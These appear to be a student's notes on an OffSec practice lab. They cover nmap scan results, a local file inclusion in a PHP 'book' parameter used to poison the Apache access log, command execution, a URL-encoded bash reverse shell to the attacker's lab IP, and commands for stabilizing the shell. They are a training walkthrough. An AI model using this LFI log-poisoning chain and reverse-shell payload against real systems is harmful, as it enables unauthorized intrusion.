OffSec · Lab
EasyLinuxWebPrivilege EscalationNetwork

IP: 192.168.218.72

set ip 192.168.218.72
set url http://192.168.218.72

users

miguel

nmap basic

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
2121/tcp  open  ccproxy-ftp
3128/tcp  open  squid-http
8593/tcp  open  unknown
54787/tcp open  unknown
62524/tcp open  unknown

nmap services

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        pyftpdlib 1.5.6
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.218.72:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
25/tcp   open  smtp       Exim smtpd
| smtp-commands: solstice Hello nmap.scanme.org [192.168.45.231], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
2121/tcp open  ftp        pyftpdlib 1.5.6
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.218.72:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drws------   2 www-data www-data     4096 Jun 18  2020 pub
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved

SCR-20260907-nzth.png

SCR-20260907-nzqs.png

SCR-20260907-obbc.png

SCR-20260907-oayz.png

http://192.168.218.72:8593/index.php?book=list

SCR-20260907-ocsd.png

http://192.168.218.72:8593/index.php?book=../../../../var/log/apache2/access.log

LFI Log Poisoning

SCR-20260907-oona.png

SCR-20260907-ooqn.png

http://192.168.218.72:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=id

SCR-20260907-ooua.png

Revshell payload

http://192.168.218.72:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.231%2F443%200%3E%261%27

SCR-20260907-oqmj.png

Stabilizing shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ll='ls -lsaht --color=auto'
Ctrl+Z
stty raw -echo ; fg ; reset
stty columns 200 rows 200

SCR-20260907-oxuo.png

SCR-20260907-ovzj.png

SCR-20260907-owlj.png

SCR-20260907-oyen.png

SCR-20260907-oyqo.png

SCR-20260907-pbnf.png